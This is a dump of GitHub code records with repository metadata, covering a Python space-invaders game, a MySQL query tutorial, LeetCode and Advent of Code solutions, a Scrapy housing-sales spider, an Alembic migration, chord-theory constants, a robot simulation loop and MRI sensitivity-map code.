\"\"\"\n Returns: Nothing\n\n This method is a helper method for STATE_ACTIVE. The main part of the\n game, it keeps a record of the # of lives the player has, whether the\n aliens have reached the dLine, and keeps the aliens and ship moving.\n If self._lives == 0 or the aliens have reached the dLine,\n self._state = STATE_COMPLETE.\n If a life is lost, self._state = STATE_PAUSED\n\n Parameter dt: The time in seconds since last update\n Precondition: dt is a number (int or float)\n \"\"\"\n if self._wave.getGameState() == 3:\n self._wave.setLives(self._wave.getLives() - 1)\n self._state = STATE_PAUSED\n self._wave.clearBolts()\n elif self._wave.getGameState() == 1 or self._wave.getGameState() == 2:\n self._state = STATE_COMPLETE\n if self._wave.getGameState() == 0:\n self._wave.updateAliens(dt)\n try:\n if self.input.is_key_down('q'):\n self._wave.setGameState(3)\n self._state = STATE_PAUSED\n if self.input.is_key_down('right'):\n self._wave.updateShip(\"right\")\n elif self.input.is_key_down('left'):\n self._wave.updateShip(\"left\")\n self.soundControl()\n if self.input.is_key_down('spacebar'):\n newB = False\n for x in self._wave.getBolts():\n if x.isPlayerBolt():\n newB = True\n if not newB:\n if self._list.count(True) % 2 == 0:\n self._pewSound.play()\n self._wave.addBolt(self._wave.getShip().getX(),\n SHIP_BOTTOM+SHIP_HEIGHT * 0.5, True)\n except AttributeError:\n pass\n\n def paused(self):\n \"\"\"\n Returns: Nothing\n\n This method is a helper method for STATE_PAUSED. When the player has\n lost a life, this state will appear until the player presses 's' to\n continue, at which point the self._state = STATE_ACTIVE again\n \"\"\"\n self._KEYS_PRESSED = self.input.key_count\n self.makeLabel(\"Press 'c' to Continue\\n(Lives: \" +\n str(self._wave.getLives()) + \")\", size=32,\n left=3*GAME_WIDTH / 16)\n if (self.input.is_key_down('c') and self._KEYS_PRESSED > 0):\n self._state = STATE_ACTIVE\n self._wave.setGameState(0)\n self._text.clear()\n\n def complete(self):\n \"\"\"\n Returns: Nothing\n\n This method is a helper method for STATE_COMPLETE. When the player has\n lost all their lives, or other game ending-conditions occur (like\n shooting all the aliens), a message will appear saying whether the\n player has won or lost.\n \"\"\"\n for row in range(ALIEN_ROWS):\n for col in range(ALIENS_IN_ROW):\n self._wave.setAlien(row, col, None)\n self._KEYS_PRESSED = self.input.key_count\n if self._wave.getGameState() == 2:\n self.makeLabel(\"You Lost!\\n Press 'esc' to quit \"\n \"\\nor 's' to play again\",\n size=32, left=3*GAME_WIDTH / 14,\n top=4*GAME_HEIGHT/7)\n else:\n self.makeLabel(\"You Won!\\n Press 'esc' to quit \"\n \"\\nor 's' to play again\",size=32,\n left=3*GAME_WIDTH / 14, top=4*GAME_HEIGHT/7)\n if (self.input.is_key_down('escape') and self._KEYS_PRESSED > 0):\n exit()\n if self.input.is_key_down('s'):\n self.start()\n self._text.clear()\n\n","repo_name":"SamRod33/AlienInvaders","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":17292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"35482569772","text":"# Select limited rows from MySQL table using fetchmany and fetchone: fetchone example\n# fetchone(): retrieve the next row of a query result set.\n# This method returns a single record or None if no more rows are available.\nimport mysql.connector\nfrom mysql.connector import Error\nfrom mysql.connector import errorcode\nfrom datetime import datetime\n\ntry:\n connection_config_dict = {\n 'user': 'root',\n 'password': 'syntel123$',\n 'host': 'localhost',\n 'database': 'Electronics',\n 'raise_on_warnings': True,\n 'use_pure': False,\n 'autocommit': True,\n 'pool_size': 5\n }\n connection = mysql.connector.connect(**connection_config_dict)\n mySql_select_Query = \"select * from laptop\"\n #Buffered cursor: Helps you buffer the results from the result set\n cursor = connection.cursor(buffered=True)\n cursor.execute(mySql_select_Query)\n record = cursor.fetchone()\n print(record)\nexcept Error as error:\n print(\"Error while connecting to MySQL\", error)\nfinally:\n if (connection.is_connected()):\n cursor.close()\n connection.close()\n print(\"MySQL connection is closed\")","repo_name":"shirishphatangare/Python-Practice","sub_path":"PythonIntermediate/database_examples/mysql_examples/MySql_9.py","file_name":"MySql_9.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"16114618200","text":"# https://leetcode.com/problems/move-zeroes/description/\nclass Solution(object):\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: void Do not return anything, modify nums in-place instead.\n \"\"\"\n pos = 0\n for i in xrange(len(nums)):\n if nums[i]:\n nums[i], nums[pos] = nums[pos], nums[i]\n pos += 1","repo_name":"menquist/Michael_Enquist","sub_path":"Python/Hackerrank/move-zeroes.py","file_name":"move-zeroes.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"38917151103","text":"# Advent of Code Day 8 - Seven Segment Search\n\nimport argparse\n\ndef stringSubtract(string1,string2):\n \"\"\"Function to remove the characters that are in string 2 from string 1 and return the resulting string\"\"\"\n returnString = \"\"\n for char1 in string1:\n match = False\n for char2 in string2:\n if char1 == char2:\n match = True\n if match == False:\n returnString += char1\n return returnString\n\ndef compareStrings(string1,string2):\n \"\"\"Function to compare two strings and return the common characters that appear in both strings\"\"\"\n returnString = \"\"\n for char1 in string1:\n match = False\n for char2 in string2:\n if char1 == char2:\n returnString += char1\n break\n return returnString\n\ndef extractDisplays(displayList,length):\n \"\"\"Function to return the strings from the list provided that match the length provided\"\"\"\n returnList = []\n for display in displayList:\n if len(display) == length:\n returnList.append(display)\n return returnList\n\ndef determineDigitMap(inputList):\n \"\"\"Fuction takes in a list of the ten seven-segment displays and determines which charcters map to wich digits\"\"\"\n sevenCode = extractDisplays(inputList,3)[0]\n oneCode = extractDisplays(inputList,2)[0]\n fourCode = extractDisplays(inputList,4)[0]\n eightCode = extractDisplays(inputList,7)[0]\n fiveSegCodes = extractDisplays(inputList,5)\n sixSegCodes = extractDisplays(inputList,6)\n # Record the segment display as a dictionary which we can populate as we work out each signal wire\n segmentDisplay = {\n \"Top\":\"\",\n \"TopLeft\":\"\",\n \"TopRight\":\"\",\n \"Middle\":\"\",\n \"BottomLeft\":\"\",\n \"BottomRight\":\"\",\n \"Bottom\":\"\"\n }\n # The top value is equal to display for (7) subtract display for (1)\n segmentDisplay[\"Top\"] = stringSubtract(sevenCode,oneCode)\n # The common values between (2), (3) and (5) provide the Top, Middle and Bottom values\n tempString = compareStrings(fiveSegCodes[0],fiveSegCodes[1])\n topMiddleBottom = compareStrings(tempString,fiveSegCodes[2])\n # (4) subtract (1) provides middle and top left values\n middleTopLeft = stringSubtract(fourCode,oneCode)\n # Middle value is commone between (2)&(3)&(5) and (4)-(1)\n segmentDisplay[\"Middle\"] = compareStrings(middleTopLeft,topMiddleBottom)\n # Bottom value is (2)&(3)&(5) - Top - Middle\n tempString = stringSubtract(topMiddleBottom,segmentDisplay[\"Middle\"])\n segmentDisplay[\"Bottom\"] = stringSubtract(tempString,segmentDisplay[\"Top\"])\n # Top Left is (4)-(1) - Middle\n segmentDisplay[\"TopLeft\"] = stringSubtract(middleTopLeft,segmentDisplay[\"Middle\"])\n # Bottom Left is (8) - (7) - Middle - Bottom - TopLeft\n tempString = stringSubtract(eightCode,sevenCode)\n tempString = stringSubtract(tempString,segmentDisplay[\"Middle\"])\n tempString = stringSubtract(tempString,segmentDisplay[\"Bottom\"])\n segmentDisplay[\"BottomLeft\"] = stringSubtract(tempString,segmentDisplay[\"TopLeft\"])\n # Compare (1) with (0), (6) and (9), will return (1) apart from (6) where it returns bottom right only\n for code in sixSegCodes:\n tempString = compareStrings(oneCode,code)\n if len(tempString) == 1:\n segmentDisplay[\"BottomRight\"] = tempString\n # Last value must be top right\n segmentDisplay[\"TopRight\"] = stringSubtract(oneCode,segmentDisplay[\"BottomRight\"])\n zeroCode = stringSubtract(eightCode,segmentDisplay[\"Middle\"])\n sixCode = stringSubtract(eightCode,segmentDisplay[\"TopRight\"])\n nineCode = stringSubtract(eightCode,segmentDisplay[\"BottomLeft\"])\n fiveCode = stringSubtract(sixCode,segmentDisplay[\"BottomLeft\"])\n twoCode = stringSubtract(eightCode,segmentDisplay[\"TopLeft\"])\n threeCode = stringSubtract(twoCode,segmentDisplay[\"BottomLeft\"])\n twoCode = stringSubtract(twoCode,segmentDisplay[\"BottomRight\"])\n digitDict = {\n \"0\":''.join(sorted(zeroCode)),\n \"1\":''.join(sorted(oneCode)),\n \"2\":''.join(sorted(twoCode)),\n \"3\":''.join(sorted(threeCode)),\n \"4\":''.join(sorted(fourCode)),\n \"5\":''.join(sorted(fiveCode)),\n \"6\":''.join(sorted(sixCode)),\n \"7\":''.join(sorted(sevenCode)),\n \"8\":''.join(sorted(eightCode)),\n \"9\":''.join(sorted(nineCode))\n }\n return digitDict\n\n\n\nif __name__ == \"__main__\":\n\n # Handle command line argument for the input filename\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--file\", help=\"Filename for the data input\")\n args = parser.parse_args()\n if args.file:\n filename = args.file\n else:\n filename = \"inputTest.txt\"\n \n # Open the file and process the contents\n displayInputs = []\n with open(filename) as file:\n for line in file:\n displayInputs.append(line.rstrip('\\n'))\n displayInputs[-1] = displayInputs[-1].split('|')\n displayInputs[-1][-1] = displayInputs[-1][-1].split()\n displayInputs[-1][-2] = displayInputs[-1][-2].split()\n \n # set a Tuple to to match for unique number of segments\n # these are the number of segments corresponding to numbers 1 (2 segs), 4 (4 segs), 7 (3 segs) and 8 (7 segs)\n uniqueSegmentDigits = (2,3,4,7)\n\n # Work through the data to count the number of digits that are using a unique number of segments\n countDigits = 0\n for data in displayInputs:\n for digits in data[-1]:\n if len(digits) in uniqueSegmentDigits:\n countDigits += 1\n print(f\"Part 1: Number of digits using a unique set of segments {countDigits}\")\n \n # sort the test items and match each item to find what number it represents\n\n answerList = []\n for input in displayInputs:\n answerNum = ''\n numberMap = determineDigitMap(input[0])\n for number in input[1]:\n sortedNum = ''.join(sorted(number))\n for digit in numberMap:\n if numberMap[digit] == sortedNum:\n answerNum += digit\n answerList.append(answerNum)\n \n intAnswList = [int(x) for x in answerList]\n print(f\"Part 2: Sum of digits is {sum(intAnswList)}\")","repo_name":"lewisir/AdventOfCode-2021","sub_path":"Day8/aoc08.py","file_name":"aoc08.py","file_ext":"py","file_size_in_byte":6219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"8858023089","text":"#!/usr/bin/env python3\n#-*- coding:utf-8 -*-\nimport csv\n\n\ninput_file = './goods_input.csv'\noutput_file = './goods_output.csv'\n\n\n\nwith open(input_file,'r',encoding=\"gbk\") as csv_in_file: #注意如果引入的文件是中文，要把编码改为gbk\n with open(output_file,'w',encoding=\"gbk\") as csv_out_file:\n file_reader = csv.reader(csv_in_file)\n file_writer = csv.writer(csv_out_file)\n header = next(file_reader) #由于上一行已经读完第一行，所以此处读的则是第二行\n print(header)\n\n #将表头写入文件里\n file_writer.writerow(header)\n for row_list in file_reader:\n goods_name = str(row_list[3]).strip()\n goods_prices = int(row_list[15])\n if goods_prices >= 1000: #将大于标签价大于1000的货品写入文件\n file_writer.writerow(row_list)\n\n\n\n","repo_name":"Pikwish/data_analysis","sub_path":"csv&pandas/5.3csv_reader_value_meets_condition.py","file_name":"5.3csv_reader_value_meets_condition.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"26261120745","text":"# encoding: utf-8\n\n\"\"\"\n@author: liubo-it\n@software: PyCharm Community Edition\n@file: conf.py\n@time: 2016/8/1 18:22\n@contact: ustb_liubo@qq.com\n@annotation: conf\n\"\"\"\nimport sys\nimport os\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n\n\ntimeout_str = 'timeout'\ntimeout1_str = 'timeout1'\ntimeout2_str = 'timeout2'\nurl_error_str = 'url_error'\nurl_error1_str = 'url_error_1'\nurl_error2_str = 'url_error_2'\nno_newbaike_name = 'no-newbaike_name'\nanalyse_error_str = 'analyse_error'\nanalyse_error1_str = 'analyse_error1'\nanalyse_error2_str = 'analyse_error2'\nno_guess_info = 'no-guess-info'","repo_name":"ustbliubo2014/FaceRecognition","sub_path":"DataProcess/crawler/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"34557067211","text":"\n#####################\n# LOADING MODULES ##\n#####################\nimport time\nimport numpy as np\nimport pybullet as p\nfrom solo_pybullet.controller.parallel_controller.ParallelController import ParallelController\nfrom solo_pybullet.controller.parallel_controller.Parameters import Parameters\nfrom solo_pybullet.simulation.initialization_simulation import configure_simulation\nfrom solo_pybullet.model.robot.BulletWrapper import BulletWrapper\n\n\ndef test():\n ####################\n # INITIALIZATION ##\n ####################\n L = [0.1946, 0.0875, 0.014, 0.03745, 0.16, 0.008, 0.16]\n k = BulletWrapper(L)\n constraints = np.array([0, np.pi, -np.pi, np.pi, -np.pi, 0] * 4)\n duration = 3600 # define the duration of the simulation in seconds\n dt = 0.01 # define the time step in second\n robot_id, rev_joint_idx = configure_simulation(dt, False)\n Parameters.init_params()\n\n ###############\n # MAIN LOOP ##\n ###############\n for i in range(int(duration / dt)):\n # real time simulation\n t0 = time.perf_counter()\n\n # compute desired configuration\n Q, dQ = ParallelController.controller(k, *Parameters.get_params(), constraints)\n \n p.setJointMotorControlArray(robot_id, rev_joint_idx, controlMode=p.POSITION_CONTROL,\n targetPositions=Q, targetVelocities=dQ)\n\n # next step simulation\n p.stepSimulation()\n\n # real time simulation\n t_sleep = dt - (time.perf_counter() - t0)\n if t_sleep > 0:\n time.sleep(t_sleep)\n\n # quit pybullet\n p.disconnect()\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"ConstantRoux/solo-pybullet","sub_path":"solo_pybullet/application/parallel_mode.py","file_name":"parallel_mode.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"44"} +{"seq_id":"25437439879","text":"class Solution:\n def longestCommonPrefix(self, strs: list[str]) -> str:\n if not strs:\n return \"\"\n\n if len(strs) == 1:\n return \"\".join(strs[0])\n\n str_array = []\n sequence = []\n max_len, count, base = 0, 0, 0\n\n for str in strs:\n tmp = list(str)\n str_array.append(tmp)\n max_len = max(max_len, len(tmp))\n\n for i in range(0, max_len):\n first_letter = str_array[base][i]\n\n while count < 3:\n if str_array[count][i] == first_letter:\n count += 1\n else:\n return \"\".join(sequence)\n\n if count == len(str_array):\n count, base = 0, 0\n sequence.append(first_letter)\n else:\n break\n\n return \"\".join(sequence)\n\n\nif __name__ == \"__main__\":\n solution = Solution()\n # strs = [\"flower\", \"flow\", \"flight\"]\n # strs = [\"dog\", \"racecar\", \"car\"]\n strs = [\"\", \"b\"]\n print(solution.longestCommonPrefix(strs))\n","repo_name":"atsushi729/Data-Structure","sub_path":"Python/other/14-Longest-Common-Prefix.py","file_name":"14-Longest-Common-Prefix.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"74931051654","text":"import scrapy\nimport urllib.parse\nfrom datetime import datetime\nimport re\n\n\nclass SoldApartmentsScraper(scrapy.Spider):\n name = \"sold\"\n\n def __init__(self, address = 'Prinsessegade', zipcodeFrom = 1050, zipcodeTo = 1472, maxPages=10, *args, **kwargs):\n super(SoldApartmentsScraper, self).__init__(*args, **kwargs)\n # build query params\n self.params = {\n \"street\": address,\n \"zipcodeFrom\": zipcodeFrom,\n \"zipcodeTo\": zipcodeTo,\n \"sort\": \"date-d\",\n \"propertyType\": 3,\n \"searchTab\": 1,\n \"page\": 1\n }\n self.start_urls = [\n f\"https://www.boliga.dk/salg/resultater?{urllib.parse.urlencode(self.params)}\"\n ]\n self.MAX_PAGES = maxPages\n\n def parse(self, response):\n keys = [\n 'type_short',\n 'type',\n 'address',\n 'city',\n 'price',\n 'sales_date',\n 'sales_type',\n 'sqm',\n 'sqm_price',\n 'rooms',\n 'build_year',\n 'price_change',\n 'actual_price',\n ]\n int_keys = { 'price', 'sqm', 'sqm_price' 'rooms', 'build_year', 'price_change' }\n\n for row in response.css('tbody > tr'):\n vals = sum(\n [col.css('span::text, a::text').getall() or ['0%'] for col in row.css('td')],\n []\n )\n \n def fix_val(val, key):\n val = val.strip()\n if key in int_keys:\n # remove all non-digits but preserve the minus sign\n return re.sub(r'[^-\\d]', '', val)\n else:\n return val.replace('.', '')\n \n vals = [fix_val(val, key) for val, key in zip(vals, keys)]\n assert len(keys) == len(vals)\n yield dict(zip(keys, vals))\n\n next_page_anchors = response.css('app-pagination > div > div.nav-right > a.next')\n if not next_page_anchors:\n return\n next_page_anchor = next_page_anchors[0]\n is_disabled = next_page_anchor.css('::attr(class)').get().find('disabled') != -1\n \n if not is_disabled and self.params['page'] < self.MAX_PAGES:\n # construct next url by adding 1 to the page query param\n self.params['page'] += 1\n next_page = f\"https://www.boliga.dk/salg/resultater?{urllib.parse.urlencode(self.params)}\"\n yield scrapy.Request(next_page, callback=self.parse)\n\n ","repo_name":"lucasalexsorensen/apartments","sub_path":"apartments/spiders/sold.py","file_name":"sold.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"27806910331","text":"\"\"\"empty message\n\nRevision ID: 0b418e7332c5\nRevises: 277274f960f6\nCreate Date: 2021-08-08 02:10:07.778443\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '0b418e7332c5'\ndown_revision = '277274f960f6'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('customer',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('customer_id', sa.Integer(), nullable=False),\n sa.Column('event_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['customer_id'], ['user.id'], ),\n sa.ForeignKeyConstraint(['event_id'], ['event.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.add_column('event', sa.Column('banner', sa.String(length=20), nullable=False))\n op.add_column('user', sa.Column('first_name', sa.String(length=20), nullable=True))\n op.add_column('user', sa.Column('last_name', sa.String(length=20), nullable=True))\n op.add_column('user', sa.Column('contact_number', sa.Integer(), nullable=True))\n op.add_column('user', sa.Column('adderss', sa.String(length=120), nullable=True))\n op.add_column('user', sa.Column('city', sa.String(length=30), nullable=True))\n op.add_column('user', sa.Column('loc_state', sa.String(length=30), nullable=True))\n op.add_column('user', sa.Column('zip_code', sa.Integer(), nullable=True))\n op.add_column('user', sa.Column('country', sa.String(length=30), nullable=True))\n op.add_column('user', sa.Column('personal_details_complete', sa.Boolean(), nullable=False))\n op.add_column('user', sa.Column('tagp1', sa.String(length=20), nullable=True))\n op.add_column('user', sa.Column('tagp2', sa.String(length=20), nullable=True))\n op.add_column('user', sa.Column('tagp3', sa.String(length=20), nullable=True))\n op.add_column('user', sa.Column('preferences_complete', sa.Boolean(), nullable=False))\n op.add_column('user', sa.Column('is_profile_company', sa.Boolean(), nullable=False))\n op.add_column('user', sa.Column('event_details_complete', sa.Boolean(), nullable=False))\n op.create_unique_constraint(None, 'user', ['username'])\n op.drop_column('user', 'profile_type')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user', sa.Column('profile_type', mysql.VARCHAR(length=8), nullable=True))\n op.drop_constraint(None, 'user', type_='unique')\n op.drop_column('user', 'event_details_complete')\n op.drop_column('user', 'is_profile_company')\n op.drop_column('user', 'preferences_complete')\n op.drop_column('user', 'tagp3')\n op.drop_column('user', 'tagp2')\n op.drop_column('user', 'tagp1')\n op.drop_column('user', 'personal_details_complete')\n op.drop_column('user', 'country')\n op.drop_column('user', 'zip_code')\n op.drop_column('user', 'loc_state')\n op.drop_column('user', 'city')\n op.drop_column('user', 'adderss')\n op.drop_column('user', 'contact_number')\n op.drop_column('user', 'last_name')\n op.drop_column('user', 'first_name')\n op.drop_column('event', 'banner')\n op.drop_table('customer')\n # ### end Alembic commands ###\n","repo_name":"hamzamir66/listeo2","sub_path":"migrations/versions/0b418e7332c5_.py","file_name":"0b418e7332c5_.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30896073957","text":"from math import pi\n\nimport tensorflow as tf\n\nfrom fastmri_recon.data.utils.fourier import tf_ortho_ifft2d\n\n\n@tf.function\ndef extract_smaps(kspace, low_freq_percentage=8, background_thresh=4e-6):\n \"\"\"Extract raw sensitivity maps for kspaces\n\n This function will first select a low frequency region in all the kspaces,\n then Fourier invert it, and finally perform a normalisation by the root\n sum-of-square.\n kspace has to be of shape: nslices x ncoils x height x width\n\n Arguments:\n kspace (tf.Tensor): the kspace whose sensitivity maps you want extracted.\n low_freq_percentage (int): the low frequency region to consider for\n sensitivity maps extraction, given as a percentage of the width of\n the kspace. In fastMRI, it's 8 for an acceleration factor of 4, and\n 4 for an acceleration factor of 8. Defaults to 8.\n background_thresh (float): unused for now, will later allow to have\n thresholded sensitivity maps.\n\n Returns:\n tf.Tensor: extracted raw sensitivity maps.\n \"\"\"\n n_slices = tf.shape(kspace)[0]\n if n_slices > 0:\n n_low_freq = tf.cast(tf.shape(kspace)[-2:] * low_freq_percentage / 100, tf.int32)\n center_dimension = tf.cast(tf.shape(kspace)[-2:] / 2, tf.int32)\n low_freq_lower_locations = center_dimension - tf.cast(n_low_freq / 2, tf.int32)\n low_freq_upper_locations = center_dimension + tf.cast(n_low_freq / 2, tf.int32)\n ###\n # NOTE: the following stands for in numpy:\n # low_freq_mask = np.zeros_like(kspace)\n # low_freq_mask[\n # ...,\n # low_freq_lower_locations[0]:low_freq_upper_locations[0],\n # low_freq_lower_locations[1]:low_freq_upper_locations[1]\n # ] = 1\n x_range = tf.range(low_freq_lower_locations[0], low_freq_upper_locations[0])\n y_range = tf.range(low_freq_lower_locations[1], low_freq_upper_locations[1])\n X_range, Y_range = tf.meshgrid(x_range, y_range)\n X_range = tf.reshape(X_range, (-1,))\n Y_range = tf.reshape(Y_range, (-1,))\n low_freq_mask_indices = tf.stack([X_range, Y_range], axis=-1)\n # we have to transpose because only the first dimension can be indexed in\n # scatter_nd\n scatter_nd_perm = [2, 3, 0, 1]\n low_freq_mask = tf.scatter_nd(\n indices=low_freq_mask_indices,\n updates=tf.ones([\n tf.size(X_range),\n tf.shape(kspace)[0],\n tf.shape(kspace)[1]],\n ),\n shape=[tf.shape(kspace)[i] for i in scatter_nd_perm],\n )\n low_freq_mask = tf.transpose(low_freq_mask, perm=scatter_nd_perm)\n ###\n low_freq_kspace = kspace * tf.cast(low_freq_mask, kspace.dtype)\n coil_image_low_freq = tf_ortho_ifft2d(low_freq_kspace)\n # no need to norm this since they all have the same norm\n low_freq_rss = tf.norm(coil_image_low_freq, axis=1)\n coil_smap = coil_image_low_freq / low_freq_rss[:, None]\n # for now we do not perform background removal based on low_freq_rss\n # could be done with 1D k-means or fixed background_thresh, with tf.where\n else:\n coil_smap = tf.zeros_like(kspace, dtype=kspace.dtype)\n return coil_smap\n\n\ndef non_cartesian_extract_smaps(kspace, trajs, dcomp, nufft_back, shape, low_freq_percentage=8):\n def _crop_for_pad(image, shape, im_size):\n to_pad = im_size[-1] - shape[0]\n cropped_image = image[..., to_pad//2:-to_pad//2]\n return cropped_image\n cutoff_freq = low_freq_percentage / 200 * tf.constant(pi)\n # Get the boolean mask for low frequency\n low_freq_bool_mask = tf.math.reduce_all(tf.math.less_equal(tf.abs(trajs[0]), cutoff_freq), axis=0)\n # Obtain the trajectory, kspace and density compensation for low frequency\n low_freq_traj = tf.boolean_mask(trajs, low_freq_bool_mask, axis=2)\n low_freq_kspace = tf.boolean_mask(kspace, low_freq_bool_mask, axis=2)\n low_freq_dcomp = tf.boolean_mask(dcomp, low_freq_bool_mask, axis=1)[:, None]\n coil_smap = nufft_back(low_freq_kspace * tf.cast(low_freq_dcomp, kspace.dtype), low_freq_traj)\n coil_smap = tf.cond(\n tf.math.greater_equal(shape[0], coil_smap.shape[-1]),\n lambda: coil_smap,\n lambda: _crop_for_pad(coil_smap, shape, coil_smap.shape),\n )\n low_freq_rss = tf.norm(coil_smap, axis=1)\n coil_smap = coil_smap / low_freq_rss[:, None]\n return coil_smap\n","repo_name":"zaccharieramzi/fastmri-reproducible-benchmark","sub_path":"fastmri_recon/data/utils/multicoil/smap_extract.py","file_name":"smap_extract.py","file_ext":"py","file_size_in_byte":4467,"program_lang":"python","lang":"en","doc_type":"code","stars":136,"dataset":"github-code","pt":"44"} +{"seq_id":"34836472215","text":"\"\"\"\r\nContains various literals that are used for computations throughout the library.\r\n\r\n* `REPETITION_SYMBOL` (`str`): The symbol that's used to indicate repetition in textual representations of chord progressions.\r\n* `MAJOR_SCALE_OFFSETS` (`Dict[int, int]`): Maps the scale degrees of the major scale to number of semitones from the root.\r\n* `ACCIDENTALS` (`Set[str]`): The set of accidentals.\r\n* `MAJOR_FROM_C` (`List[str]`): A list of the 7 note names in the C major scale.\r\n* `CHROMATIC` (`List[str]`): A list of the 12 chromatic notes starting from C. Only sharp notes are included here.\r\n* `ENHARMONIC` (`List[Tuple[str, str]])`): A list of the 5 pairs of enharmonic note names.\r\n* `CHORD_NAMES` (`Dict[str, List[str]]`): Maps chord names to the list of scale degrees in the chord, not including the root.\r\n* `CHORD_ALIASES`: (`Dict[str, str]`): Maps alternative chord names to the canonical chord name in `CHORD_NAMES`.\r\n* `DYADS`: (`Dict[int, str]`): A collection of two-note chords with names. Maps the number of semitones between the root and the other note to the chord name.\r\n* `TRIADS_WITH_FIFTH` (`Dict[int, str]`): A collection of three-note chords with names. All of these triads include a fifth. Maps the semitone that is not the root or the fifth to the chord name.\r\n\"\"\"\r\nREPETITION_SYMBOL = \"--\"\r\nMAJOR_SCALE_OFFSETS = {1: 0, 2: 2, 3: 4, 4: 5, 5: 7, 6: 9, 7: 11}\r\nACCIDENTALS = {\"b\", \"#\"}\r\nMAJOR_FROM_C = [\"C\", \"D\", \"E\", \"F\", \"G\", \"A\", \"B\"]\r\nROMAN = [\"III\", \"IV\", \"II\", \"I\", \"VII\", \"VI\", \"V\"]\r\nLETTERS = ROMAN + MAJOR_FROM_C\r\nCHROMATIC = [\"C\", \"C#\", \"D\", \"D#\", \"E\", \"F\", \"F#\", \"G\", \"G#\", \"A\", \"A#\", \"B\"]\r\nENHARMONIC = [(\"C#\", \"Db\"), (\"D#\", \"Eb\"), (\"F#\", \"Gb\"), (\"G#\", \"Ab\"), (\"A#\", \"Bb\")]\r\nCHORD_NAMES = {\r\n # Major\r\n \"maj\": [\"3\", \"5\"],\r\n \"maj7\": [\"3\", \"5\", \"7\"],\r\n \"maj9\": [\"3\", \"5\", \"7\", \"9\"],\r\n \"maj11\": [\"3\", \"5\", \"7\", \"9\", \"11\"],\r\n \"maj13\": [\"3\", \"5\", \"7\", \"9\", \"11\", \"13\"],\r\n \"6\": [\"3\", \"5\", \"6\"],\r\n \"69\": [\"3\", \"5\", \"6\", \"9\"],\r\n \"5\": [\"5\"],\r\n # Dominant\r\n \"7\": [\"3\", \"5\", \"b7\"],\r\n \"9\": [\"3\", \"5\", \"b7\", \"9\"],\r\n \"11\": [\"3\", \"5\", \"b7\", \"9\", \"11\"],\r\n \"13\": [\"3\", \"5\", \"b7\", \"9\", \"11\", \"13\"],\r\n # Minor\r\n \"m\": [\"b3\", \"5\"],\r\n \"m6\": [\"b3\", \"5\", \"6\"],\r\n \"m7\": [\"b3\", \"5\", \"b7\"],\r\n \"m9\": [\"b3\", \"5\", \"b7\", \"9\"],\r\n \"m11\": [\"b3\", \"5\", \"b7\", \"9\", \"11\"],\r\n \"m13\": [\"b3\", \"5\", \"b7\", \"9\", \"11\", \"13\"],\r\n # Diminished\r\n \"dim\": [\"b3\", \"b5\"],\r\n \"m7b5\": [\"b3\", \"b5\", \"b7\"],\r\n \"dim7\": [\"b3\", \"b5\", \"bb7\"],\r\n # Augmented\r\n \"aug\": [\"3\", \"#5\"],\r\n # Suspended\r\n \"7sus2\": [\"2\", \"5\", \"b7\"],\r\n \"7sus4\": [\"4\", \"5\", \"b7\"],\r\n # Note\r\n \"n\": [],\r\n}\r\nCHORD_ALIASES = {\r\n # Major\r\n \"major\": \"maj\",\r\n \"maj\": \"maj\",\r\n # Minor\r\n \"-\": \"m\",\r\n \"min\": \"m\",\r\n \"minor\": \"m\",\r\n # Dominant\r\n \"dom\": \"7\",\r\n # Diminished\r\n \"o\": \"dim7\",\r\n \"ø\": \"m7b5\",\r\n # Augmented\r\n \"+\": \"aug\",\r\n # Note\r\n \"note\": \"n\",\r\n}\r\nDYADS = {3: \"min(no5)\", 4: \"(no5)\", 7: \"5\"}\r\nTRIADS_WITH_FIFTH = {\r\n 1: \"phryg\",\r\n 2: \"sus2\",\r\n 3: \"min\",\r\n 4: \"\",\r\n 5: \"sus4\",\r\n 6: \"lyd\",\r\n 8: \"b6(no3)\",\r\n 9: \"6(no3)\",\r\n 10: \"7(no3)\",\r\n 11: \"maj7(no3)\",\r\n}\r\n","repo_name":"jonathangjertsen/jchord","sub_path":"jchord/knowledge.py","file_name":"knowledge.py","file_ext":"py","file_size_in_byte":3173,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"44"} +{"seq_id":"38115097839","text":"from typing import List\n\nimport os\nimport string\n\nfrom abc import ABC, abstractmethod\n\n\nclass Generator(ABC):\n\n def 